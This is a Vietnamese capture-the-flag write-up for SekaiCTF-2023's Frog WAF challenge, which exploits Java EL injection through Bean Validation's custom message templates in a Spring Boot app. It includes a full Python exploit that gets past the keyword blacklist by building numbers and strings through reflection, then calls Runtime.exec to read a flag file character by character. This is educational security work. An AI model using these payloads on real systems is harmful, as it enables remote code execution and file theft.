SekaiCTF-2023 Ctf Writeup - Frog WAF - EL Injection WAF Bypass
Preface
Write up chi tiết bài Frog-WAF
thuộc giải SekaiCTF-2023
. Bài này trong giải mình không làm ra do stuck 1 số chỗ nên hôm nay mình sẽ tham khảo qua script solution và write up chi tiết lại.
Overview
Challenge cho source-code, các bạn có thể tải tại: https://drive.google.com/file/d/1NDolpwf01ckCy7qcBGEp-_aZGT0OfI6E/view?usp=sharing
Challenge dùng gradle để build app spring boot
Xem Dockerfile
:
FROM gradle:7.5-jdk11-alpine AS build
COPY --chown=gradle:gradle build.gradle settings.gradle /home/gradle/frogwaf/
COPY --chown=gradle:gradle src/ /home/gradle/frogwaf/src/
WORKDIR /home/gradle/frogwaf
RUN gradle bootJar
FROM openjdk:11-slim
COPY flag.txt /flag.txt
RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt
RUN addgroup --system --gid 1000 app && adduser --system --group --uid 1000 app
COPY --chown=app:app --from=build /home/gradle/frogwaf/build/libs/*.jar /opt/frogwaf/
USER app
ENTRYPOINT ["java", "-jar", "/opt/frogwaf/frogwaf-0.0.1-SNAPSHOT.jar"]
Thì flag.txt
được rename thành tên random ==> phải RCE
Sau khi build thì được file jar frogwaf-0.0.1-SNAPSHOT.jar
, mình ngồi review source code cả tiếng thì thấy không có gì đặc biệt. Tại class ContactController
nhận post json tại /addContact
, khi bind json data với class model Contact
sẽ thực hiện validate từng fields có đúng format và lưu contacts
vào session:
Class Contact
:
Class này có format là một POJO tức chỉ có các fields và các getters, setters method mặc định.
Lúc đầu mình tưởng đây là Spring4Shell nhưng loay hoay một hồi mới nhận ra không phải do challenge chạy jdk8 và không chạy trên tomcat,… -> condition
Mày mò một hồi mới nhận ra điều đặc biệt là ở các annotation validate field country
:
ContactController --> addContact(HttpSession session, @RequestBody @Valid Contact contact) {
////
Contact --> private @NotNull @CheckCountry String country;
Interface CheckCountry
:
Class CountryValidator
: custom validator
Method isValid
sẽ kiểm tra input country
có tồn tại các blacklist keyword trong class FrogWaf
, nếu có sẽ throw ngay lỗi AccessDeniedException - nếu không sẽ kiểm tra tiếp country
có nằm trong whitelist các country đã định nghĩa, nếu có thì sẽ là valid - nếu không sẽ trả về lỗi ConstraintViolation với custom template là message (để ý input
đang bị validate được format vào message template).
Từ keyword buildConstraintViolationWithTemplate
dễ dàng tìm được:
https://securitylab.github.com/research/bean-validation-RCE/
Bài blog của Alvaro Munoz là Bean Validation leads to RCE đã phân tích rất chi tiết, nói đơn giản thì bug này là (Jakarta) EL Injection khi sử dụng custom error template qua method buildConstraintViolationWithTemplate
trong quá trình thực hiện Bean Validation. Đọc xong có thể thấy sink challenge này cũng được build dựa trên bài blog này do mình thấy có nhiều sự tương đồng.
Tuy nhiên với challenge này để exploit lổ hổng này phải bypass firewall khá gắt ở CountryValidator#isValid
hay FrogWaf#preHandle
. Method này sẽ check các blacklist keyword ở AttackTypes
liệu có trong các params, nếu có sẽ throw luôn AccessDeniedException:
Class AttackTypes
chứa các keyword sau:
- Black list các number, operator, keyword thường dùng trong EL Injection, keyword chạy cmd, true, false, kí tự như
"
hay'
==> không thể viết chuỗi,…
Vậy chốt lại hướng đi đơn giản là EL Injection RCE bypass firewall. Anyway, PoC tạm xác nhận có Java EL Injection ở param country
:
Build payload
Mục tiêu của bypass là tạo được payload EL Injection để RCE tương tự như sau:
this.getClass().forName("java.lang.Runtime").getRuntime().invoke(null).exec("calc").getInputStream().read()
Từ ConstraintValidatorContext
(interface CheckCountry
) biết được có thể truy cập các biến sau: messsage
, groups
, payload
Dễ dàng lấy được class java.lang.Class
:
Truy cập được class Class trong Java ta có thể sử dụng các methods thường được sử dụng trong reflection, là bước đệm gọi được các arbitrary methods/objects mong muốn.
Đến đây ta muốn gọi được Class.forName()
để khởi tạo được class Runtime
, tuy nhiên keyword Name
đã bị blacklist và mình cũng không thể viết chuỗi do bị block kí tự "
và '
.
Nhưng java có method Class#getMethods()
list toàn bộ methods của class Class và trả về dưới dạng một array các methods:
Vậy nên vấn đề còn lại là cần bypass được black list number để lấy được method forName()
trong array trên:
Bypass number restriction
Đọc java docs mình thấy có method Comparable#compareTo()
trả về các value int là -1
, 0
, 1
khi compare:
Lợi dụng method này mình có thể lấy được các value int:
Value 0
:
Value 1
:
Do method compareTo()
chỉ compare được các object cùng loại nên mình sẽ compare qua hai giá trị boolean là true
hoặc fail
, để lấy được true/false
thì lại qua method equals
như trên.
Tiếp tục, để lấy các giá trị int cao hơn, mình sử dụng Integer#sum()
:
Có thể lấy được class Integer
đơn giản như sau:
Cộng 1
lại được value là 2
:
Bằng cách tương tự mình build được python script generate number mong muốn:
import requests
url = 'http://ubuntu.lab:1337/addContact'
def adding_number_by_one(s):
return f"message.length().sum(message.equals(message).compareTo(message.equals(groups)),{s})"
def get_number(n):
zero = "message.equals(message).compareTo(message.equals(message))"
one = "message.equals(message).compareTo(message.equals(groups))"
if n == 0:
return zero
elif n == 1:
return one
else:
current_number = 1
template_number = one
for i in range(2,20):
template_number = adding_number_by_one(template_number)
current_number += 1
if current_number == n:
return template_number
if __name__ == '__main__':
number = 7
json = {"firstName":"Aaa",
"lastName":"Aaa",
"description":"Aaa",
"country": "__${" + str(get_number(number)) + "}__"
}
r = requests.post(url, json=json)
print(r.json()["violations"][0]["message"])
Demo chạy script:
Cuối cùng, lấy được method Class#forName
với index là 2:
Bypass string restriction
Mục tiêu tiếp theo là cần viết được chuỗi string mong muốn do bây giờ mình đã có thể gọi được một số class với method bất kỳ (qua getMethods()
+ bypass number trên)
Trong Java ta có thể convert ascii number thành array characters qua method Character#toChars
:
Cũng như trong class String có method String#charAt()
trả về object Character
:
Nhờ đó mình hoàn thiện được thêm function sau:
def get_character(c):
# Lấy class Character: String.charAt().invoke(message,0) index 22 -> method String#charAt không phải static -> invoke obj message thay vì null
# Character#toChars()[0].toString() index 39 -> [0] do toChars trả về một array char, toString để dễ sử dụng method String#concat() các characters phía sau
return f"message.getClass().getMethods()[{get_number(22)}].invoke(message,{get_number(0)}).getClass().getMethods()[{get_number(39)}].invoke(null,{get_number(ord(c))})[{get_number(0)}].toString()"
def get_string(chars):
out = get_character(chars[0])
for i in range(1, len(chars)):
out += f".concat({get_character(chars[i])})"
return out
def get_class(class_name):
# forName: 2 -> Class#forName()
return f"message.getClass().getClass().getMethods()[{get_number(2)}].invoke(message, {get_string(class_name)})"
Demo get_class('java.lang.Runtime')
:
Finishing
Đến đây thì không còn gì khó khăn nữa rồi, tương tự như trên mình hoàn thành nốt function get_method
và exec_method
để gọi đến Runtime.getRuntime.exec(String)
:
def get_method(class_name, method_index):
return get_class(class_name) + f".getMethods()[{get_number(method_index)}]"
def exec_method(command):
# Runtime#exec() index 6
return get_method('java.lang.Runtime', 6) + f".invoke(null).exec({get_string(command)}).getInputStream().read()"
Thực thi command thành công:
Tuy nhiên như challenge đã hint là server sẽ không có outbound ==> không thể lấy reverse shell cũng như InputStream#read()
chỉ đọc 1 byte của stream và trả về:
Vậy nên để lấy được flag mình sẽ chạy chạy command bash -c {cat,/flag-*}|{cut,-c,{i}}
trong vòng lặp để lấy từng ký tự của flag:
Full script:
import requests
url = 'http://frog-waf.chals.sekai.team/addContact'
def adding_number_by_one(s):
return f"message.length().sum(message.equals(message).compareTo(message.equals(groups)),{s})"
def get_number(n):
zero = "message.equals(message).compareTo(message.equals(message))"
one = "message.equals(message).compareTo(message.equals(groups))"
if n == 0:
return zero
elif n == 1:
return one
else:
current_number = 1
template_number = one
for i in range(2,255):
template_number = adding_number_by_one(template_number)
current_number += 1
if current_number == n:
return template_number
def get_character(c):
# Lấy class Character: String.charAt().invoke(message,0) index 22 -> method String#charAt không phải static -> invoke obj message thay vì null
# Character#toChars()[0].toString() index 39 -> [0] do toChars trả về một array char, toString để dễ sử dụng method String#concat() các characters phía sau
return f"message.getClass().getMethods()[{get_number(22)}].invoke(message,{get_number(0)}).getClass().getMethods()[{get_number(39)}].invoke(null,{get_number(ord(c))})[{get_number(0)}].toString()"
def get_string(chars):
out = get_character(chars[0])
for i in range(1, len(chars)):
out += f".concat({get_character(chars[i])})"
return out
def get_class(class_name):
# Class#forName() index 2
return f"message.getClass().getClass().getMethods()[{get_number(2)}].invoke(message, {get_string(class_name)})"
def get_method(class_name, method_index):
return get_class(class_name) + f".getMethods()[{get_number(method_index)}]"
def exec_method(command):
# Runtime#exec() index 6
return get_method('java.lang.Runtime', 6) + f".invoke(null).exec({get_string(command)}).getInputStream().read()"
if __name__ == '__main__':
flag = ''
for i in range(1, 40):
cmd = 'bash -c {cat,/flag-*}|{cut,-c,' + str(i) + '}'
payload = exec_method(cmd)
json = {"firstName":"Aaa",
"lastName":"Aaa",
"description":"Aaa",
"country": "__${" + payload + "}__"
}
r = requests.post(url, json=json)
msg = r.json()["violations"][0]["message"].split('__')[1]
if int(msg) > 20:
flag += chr(int(msg))
print(flag)
else:
exit()
flag: SEKAI{0h_w0w_y0u_r34lly_b34t_fr0g_wAf_c0ngr4ts!!!!}
Other methods
- Write up của fireshellsecurity lấy number qua
Array.size()
đơn giản hơn nhiều:
Tham khảo thêm
- Basic SpEL Injection: http://rui0.cn/archives/1043
- EL injection WAF bypass study case: https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass
- Bean Validation RCE: https://securitylab.github.com/research/bean-validation-RCE/
- zeyu2001 script solution: https://gist.github.com/zeyu2001/1b9e9634f6ec6cd3dcb588180c79bf00